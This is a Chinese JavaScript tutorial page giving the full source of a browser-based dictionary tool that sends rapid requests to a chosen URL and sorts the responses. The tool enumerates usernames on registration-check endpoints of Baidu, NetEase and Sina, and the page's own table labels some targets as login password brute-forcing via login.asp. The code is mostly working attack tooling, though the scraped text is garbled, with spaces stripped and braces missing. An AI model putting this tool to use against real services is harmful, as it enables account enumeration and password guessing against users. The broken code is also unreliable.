javascript字典探测用户名工具_Javascript教程-查字典教程网

<html>

<head>

<style>

body{font-size:10pt;background-color:#D4D0C8}

td{font-size:9pt}

</style>

</head>

<scriptlanguage="javascript">

程序标题：javascript字典探测用户名工具

发布时间：2006年8月

文章作者：翟振凯(小琦)

作者网站：http://www.xiaoqi.net

作者论坛：http://www.tdqy.com

演示地址：http://www.xiaoqi.net/zuopin/js_user_swf.htm

QQ：2233684853353866

关于本文：

授人予鱼，不如授人予渔。本程序的核心代码处，都有详细的注解，

目地是让大家了解一个程序的开发过程和这个程序功能的实现原理，

而不仅仅是给大家提供一个这样的工具。希望看过本文后的朋友会有

所收获，能和我共同分享用javascript编写程序的乐趣。

//尝试用IE浏览器的方式创建XMLHttpRequest对象

varxmlhttp=null;

try

{

xmlhttp=newActiveXObject("MSXML2.XMLHTTP");

}

catch(e)

{

try

{

xmlhttp=newActiveXObject("Microsoft.XMLHTTP");

}

catch(e){

alert("您的浏览器不能创建XMLHttpRequest对象，无法使用此程序!");

}

//尝试用IE浏览器的方式创建XMLHttpRequest对象结束

翟振凯注：MSXML2.XMLHTTP和Microsoft.XMLHTTP都是微软的XMLHTTP控件，只是版本不同。

IE的安全级别如果不是太高，微软的XMLHTTP控件是可以跨域获取数据的。

因为MozillaFirefox浏览器的XMLHttpRequest()不能跨域获取数据，我们就不用XMLHttpRequest()方法创建XMLHTTP对象了。

//对返回的中文编码处理作者：翟振凯

functionRec_Html(Html)

{

varRec=newActiveXObject("ADODB.RecordSet");

Rec.Fields.Append("xiaoqi",201,1);

Rec.Open();

Rec.AddNew();

Rec(0).AppendChunk(Html);

Rec.Update();

returnRec(0).Value;

Rec.Close();

}

//对返回的中文编码处理结束

//开始探测参数为要探测的当前值

functiongeturl(id)

{

try{

xmlhttp.open("GET",url.value+id,false);//定义数据传送方式，服务网页的URL(探测地址+探测值)，是否同步执行

xmlhttp.onreadystatechange=function(){//xmlhttp触发事件

if(xmlhttp.readyState==4)//xmlhttp对象状态如果为完成

{

if(xmlhttp.status==200)//如果服务器返回的状态码为200(成功)

{

//对结果的中文编码转换判断

if(err.value.replace(/[^W]/g,'').length=0)

/*关于转换判断的注：

例如:"翟振凯".replace(/[^W]/g,'').length返回结果3

"翟振凯22336848".replace(/[^W]/g,'').length返回结果3

"xiaoqi22336848".replace(/[^W]/g,'').length返回结果0

"小琦22336848".replace(/[^W]/g,'').length返回结果2

replace(/[^W]/g,'')的功能是把字符串里的英文和数字都清除掉。

{

Html=xmlhttp.responseText;//不转换

}

else

{

Html=Rec_Html(xmlhttp.responseBody);//转换

}

//对结果的中文编码转换判断结束

//根据判断依据区分可用或不可用的值!

if(Html.indexOf(err.value,0)<0)

{

x_1.innerHTML=x_1.innerHTML+"<nobr>"+id;//输出可用值

}

else

{

x_2.innerHTML=x_2.innerHTML+"<nobr>"+id;//输出不可用值

}

//根据判断依据区分可用或不可用的值!

}

xmlhttp.send();

}

catch(e)

{

x_2.innerHTML=x_2.innerHTML+"<nobr>"+id+"超时!";//输出异常或超时的值。

}

//开始探测结束

//载入本地字典文件，并把内容定义为数组

functionkaishi(){

fileFullPath=dic_url.value;

xmlhttp.open("GET",fileFullPath,false);//载入字典文件方法

xmlhttp.send();

Html=Rec_Html(xmlhttp.responseBody);//中文编码转换

dic=Html.split('rn');//以换行符将载入的字典内容转换为数组

sl.value=dic.length;//告诉用户要探测的次数(数组大小)

xunhuan()//成功载入后开始循环探测。

}

//载入本地字典文件，并把内容定义为数组结束

//循环探测

functionxunhuan()

{

bar=parseInt(jd.value);//将进度值转换为整数

if(bar<sl.value)//判断是否探测完

{

for(i=0;i<parseInt(jc.value);i++){//设定探测线程

geturl(dic[bar+i]);//从数组内取值进行探测

}

jd.value=bar+parseInt(jc.value);//累加探测进度，并向用户呈现当前进度

setTimeout("xunhuan()",parseInt(hc.value*1000));//根据缓冲时间来进行重复循环探测

}

else//如果进度不小于要探测的次数，就向用户返回探测完成的结果。

{

alert("探测完成!");

}

//循环探测结束

//暂停探测函数

functionpause(obj)

{

if(obj.value=='暂停')

{

obj.temp=hc.value;//记忆原来的缓冲时间。

hc.value=5000;//将缓冲时间设置为5000秒，这个值自己可以修改。

obj.value='继续';//改变按钮显示状态

}

else

{

hc.value=obj.temp;//提取原来的缓冲时间。

obj.value='暂停';//改变按钮显示状态

kaishi()//继续探测

}

//暂停探测函数结束

functionck()//单个值探测验证检查

{

if(url.value.length<5){alert('请输入要探测地址!');return};

if(id_one.value.length<1){alert('请输入要探测的值!');return};

geturl(id_one.value)

}

functionck1()//批量值探测验证检查

{

if(url.value.length<5){alert("请输入要探测地址!");return}

if(err.value.length<1){alert("请输入不可用标记!");return}

if(dic_url.value.length<5){alert("请先选择字典文件!");return}

jd.value=0;

kaishi()

}

</script>

<body>

程序作者：翟振凯注：如果无法使用，或结果显示超时，请将本页下载到本地计算机上使用。

<tableborder="1"width="100%"bordercolorlight="#E6E6E6"cellspacing="0"bordercolordark="#D4D0C8">

<tr>

<td>

<inputtype="text"id="url"size="63"value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&password="></td>

</tr>

<tr>

<td>失败包涵标记</td>

</tr>

<tr>

<td>测试单个值</td>

<inputtype="button"value="探测"onclick="ck();"></td>

</tr>

<tr>

<td>选择字典文件</td>

<inputtype="button"value="开始"onclick="ck1();">

<inputtype="button"value="暂停"temp=""onclick="pause(this)">

<inputtype="button"value="清除可用结果"onclick="x_1.innerHTML=''">

<inputtype="button"value="清除不可用结果"onclick="x_2.innerHTML=''">

</td>

</tr>

<tr>

<td>

每次探测：<inputtype="text"id="jc"value="1"size="3">个

缓冲时间：<inputtype="text"id="hc"value="0.1"size="3">秒

进度：<inputtype="text"id="jd"value="0"size="12">

探测数量：<inputtype="text"id="sl"size="13">

</td>

</tr>

</table>

</fieldset>

</fieldset>

<tableborder="1"width="100%"id="table1"cellspacing="0"cellpadding="3">

<tr>

<tdwidth="111">测试字典文件地址</td>

<tdwidth="633"colspan="3"><span>

<fontsize="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>

</tr>

<tr>

<tdwidth="111">网站名</td>

<tdwidth="435">入口</td>

<tdwidth="83">不可用标记</td>

<tdwidth="105">备注</td>

</tr>

<tr>

<tdwidth="111">百度用户注册</td>

<tdwidth="435">http://passport.baidu.com/?check_username&un=</td>

<tdwidth="83">false</td>

<tdwidth="105"></td>

</tr>

<tr>

<tdwidth="111">百度空间注册</td>

<tdwidth="435">http://hi.baidu.com/sys/checkurl/item/</td>

<tdwidth="83">false</td>

<tdwidth="105">要先用百度用户登陆</td>

</tr>

<tr>

<tdwidth="111">网易通行证注册</td>

<tdwidth="435">http://reg.163.com/register/checkssn.jsp?username=</td>

<tdwidth="83">对不起</td>

<tdwidth="105"></td>

</tr>

<tr>

<tdwidth="111">新浪通行证</td>

<tdwidth="435">

<inputtype="text"size="57"value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&email=&password=&password2=&pwdQ=&pwdA=&sex=&byear=1986&bmonth=01&bday=01&options=&outinstr=&safe_num=&safe_num2=&identityinfo=&identityNum=&checkidentityNum=&ismail=&userid="></td>

<tdwidth="83">登录名被占用</td>

<tdwidth="105"></td>

</tr>

<tr>

<tdwidth="111">测试网站用户密码暴力破解</td>

<tdwidth="435">

http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&password=</td>

<tdwidth="83">不正确</td>

<tdwidth="105"></td>

</tr>

<tr>

<tdwidth="111">测试网站用户密码暴力破解</td>

<tdwidth="435">

http://www.xiaoqi.net/zuopin/login.asp?username=小琦&password=</td>

<tdwidth="83">不正确</td>

<tdwidth="105"></td>

</tr>

</table>

<inputtype="hidden"id="dic1"value="ff"><inputtype="hidden"id="jc_id"value><p>

程序作者：翟振凯开发日期：2006年8月<br>

作者网站：<ahref="http://www.xiaoqi.net">http://www.xiaoqi.net</a><br>

演示地址：<ahref="http://www.xiaoqi.net/zuopin/js_user_swf.htm">http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>

程序打包下载地址：<ahref="http://www.xiaoqi.net/zuopin/js_user.rar">http://www.xiaoqi.net/zuopin/js_user.rar</a><br>

QQ:22336848</p></p>

</body>

</html>